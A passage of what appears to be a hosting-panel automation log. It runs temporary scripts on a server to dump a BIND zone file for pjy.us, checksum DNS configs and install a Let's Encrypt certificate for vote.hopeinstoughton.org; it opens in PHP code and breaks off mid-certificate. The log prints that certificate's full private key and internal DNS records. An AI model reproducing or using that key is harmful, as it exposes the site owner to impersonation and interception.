$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-04 14:53:56:
runuser -l bind -s /bin/bash -c '/tmp/pkp709493; rm /tmp/pkp709493'
2025-09-04 14:53:56:
2025-09-04 14:53:56:
PUT: /tmp/pkp851183
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-04 14:53:56:
chmod 755 /tmp/pkp851183; /tmp/pkp851183; rm /tmp/pkp851183
2025-09-04 14:53:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt 2154
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
pjy.us. IN SOA pjy.us. hostmaster.pjy.us. ( 131399526 14400 3600 14400 3600 )
pjy.us. IN NS ns1.hostz.org.
pjy.us. IN NS ns2.hostz.org.
pjy.us. 60 IN A 94.177.8.99
@ IN MX 10 mail.emessage.email.
@ IN TXT "google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge 60 IN TXT "fwYKhqdmG7ikjrhH9kqQwlvFyq-i6BopEQs9cb0aT5A"
_acme-challenge 60 IN TXT "Oy-hvG1Fk8rOdIOyn_9wg8pOBIQsA-_YvJ1Y6RCIpLQ"
mail._domainkey 300 IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive IN CNAME home.stoughton.link.
city 300 IN A 10.140.12.86
_acme-challenge.city 60 IN TXT "UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop IN A 192.168.1.174
_acme-challenge.desktop 60 IN TXT "l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm IN A 46.102.156.201
eggshell IN A 94.177.8.99
y4it37yvzcuq.eggshell 60 IN CNAME gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files IN A 74.208.130.81
home IN CNAME home.stoughton.link.
_acme-challenge.home 60 IN TXT "1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql IN CNAME home.stoughton.link.
pkp IN A 94.177.8.99
www.pjy.us. 60 IN CNAME @
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-06 06:00:02: Establishing a connection
2025-09-06 06:00:02: Establishing a connection
2025-09-06 06:00:02:
PUT: /tmp/pkp553723
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:00:03:
chmod 755 /tmp/pkp553723; /tmp/pkp553723; rm /tmp/pkp553723
2025-09-06 06:00:03:
0
2025-09-06 06:00:33: Establishing a connection
2025-09-06 06:00:33:
PUT: /tmp/pkp643482
#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt
cat > $temp_file <<'endmsg'
c7:6e:58:27:ca:ab:b1:a4:80:61:de:0c:4b:45:8d:fc
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBZ9yQkfjJga3m9curHklTTxgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjAyWhcNMjUxMjA1MDUwMjAxWjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDDENg8L7pxLwaf54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93m
GyBojYul4BNLLK7/Yho8BfCTyrjN2cRogJurad6GedseqBWi436B+ZLMUHAiwQXr
D4eZKXoYmsBdAb++Yfi0ptivVgx6XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk
1DqnI+jyjOHLN4lvKy/N1PkJFjb+y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBe
bGptvesOwN4CqMfz/Oo8/rI+Br1dKqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJv
z1N5YiMhU+znyRDGGX7D3AZSuU0gSIv9ZdkvAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFI3GKh8j8w1tl9djL4tXhSkSC0RLMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZHZyz5gAABAMARzBFAiEAgHp+ErC16ODG0OUSHp0w/wpe5B6G1yw8npXJQXnj
W4MCIFrxiAuwIKzYRFOSO2POmYRZQi+GzDqGwE3hPcDs0Y0ZAHYAEvFONL1TckyE
BhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZyz6AAABAMARzBFAiEAp+N2dC46
Zgy43xf8o6Oy+M25EfoaBOp1DAgIbwGAEJQCIAQiUy6YCF6rrvvQShxkN+9rcAls
qOZecJLvGwXZvWfwMA0GCSqGSIb3DQEBCwUAA4IBAQCgZLqaVMYUe+ZkwsbyFFAZ
yrw8xLnorHNs7tuASzbQoQjMGgdFA8MuYtfcZewycM4z6nWW2wk2L42m9BNuaYc6
8ULqAGnDJ3xx1h8pwc1psOqStxK4gYGhe86x3npqHCTZ6zWjtbVDKFp6Z8dS0VD+
+brta/nVwDArio4C1C0BXVwM5P6LXc5OhGumGHMDg3TcYzYnQalsevG0vBAfAq5s
TGbytylKrypuDGZ03RtqFQJ5z3vF8P9vJvRS7w9PmxviVoV4alrvVkUKeFQLjLq1
7+noCJL24K2bhyPV9UyzXcJlIeoR8NLoYbiFCJkHSRhwAGuNMeGRndukRQGsLlAJ
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDDENg8L7pxLwaf
54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93mGyBojYul4BNLLK7/Yho8BfCTyrjN
2cRogJurad6GedseqBWi436B+ZLMUHAiwQXrD4eZKXoYmsBdAb++Yfi0ptivVgx6
XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk1DqnI+jyjOHLN4lvKy/N1PkJFjb+
y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBebGptvesOwN4CqMfz/Oo8/rI+Br1d
Kqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJvz1N5YiMhU+znyRDGGX7D3AZSuU0g
SIv9ZdkvAgMBAAECggEBAKpKQUvBqvT2RcVA+Ol3473crIF3AGx3A/eaCd0Azjym
bUGKrfAdDFzZ/OixRoahGqDOhvKRiOWs20qx6roEVGH/iYlCRh1sRX8vNRjIxPPi
4RImCkGcDBeU0wc5yecoCLlulA05fv8Kktgcf6Iom4yJeZlx9Jvg9VTAY5veoGMP
EB56zwQIKy8d5xSouSMZ2w7ihW/xfbGrDzc1VluuaUazwzOlOXgn/aOvtP0P2Pki
NoEVcXYKSKr4Wp80ABgWYNWu9z/e1DzNSco0k9gsVCBye8uC95ZJlugJI/Gklff9
PDJxKi8doslTiYyzWfN3VSMc4L4TmSO/m2VADFV7A1kCgYEA654pSCIicYCfHEcz
7BBJqS4Nq/tT5W7nc3mBHLT/ItnTMF//TVBOgSXL33OHsVKh90c4jOxT3SIlCLfb
ztw2YW6yZHvRtge0ZAr2stu2/Ovcn7kBEn5bkY0fZPsOqJynYYWlgDMbgfbk/tTQ
4gMIhJsxLOxV0ZteIvXYpvg1bW0CgYEA0/ClE6f/rVAyyjJnBjAvB1FmYFnM2p5j
yqpOOxbBKIPW+k0es6lJKHYb+lWYO/6z27LAfuBfDJJP7dq03Oj3DC8/SYvduAST
g1NYx9tz3haVovdEVeKAchfDP1tsiomQySvGSTl32NWsRt0GhwtH5hAdNF0xtDGC
5Kn0P3hWy4sCgYAnW0TkAqekM+rf61jV7qaPNt0bxCBwa4UHud0CMY2IgcAQDYj0
nhxu4CRcz8xzpyzcxC3DBFrBzklHWobB1/DRd48ez7vo3wKXz2kD2UWIm9E/cMSo
FSkwd9Utpe395iTjWlKZxm+q1tXLZzr49a6/j7i4G0X+fChOSKiGw2ERRQKBgQCt
lta+aMWDgMJ41huH+AMs7UD6/dJJ5Z06q47z2slOk92KmYvh/2/KUiLMQTs1OIK8
GYaM5N01AMmyuYWVwsJGGpSten+ZbzYbRDLdTyNx7fGVzw0Lgz9NM6VZyVn3hoEu
JEp+QzGkSi6WxAXKqjSzfNNOxl4lhr/85i8FpV0BzQKBgQDOwqh7sg/VfQrpxTqW
6TSYL+GsG9P063KElyj90ybCmCDM+Gl4g1xirkKy7rX380OiMfPPKdn239HYroug
WU/UXXS8Lnf6kR2glUR3e174yWCUyKQDRCRnDLmwa8I0oqMnjB3HoYyq+sbLTzOG
ttAI8+X++Y+BRSPPpwzalk0j2Q==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
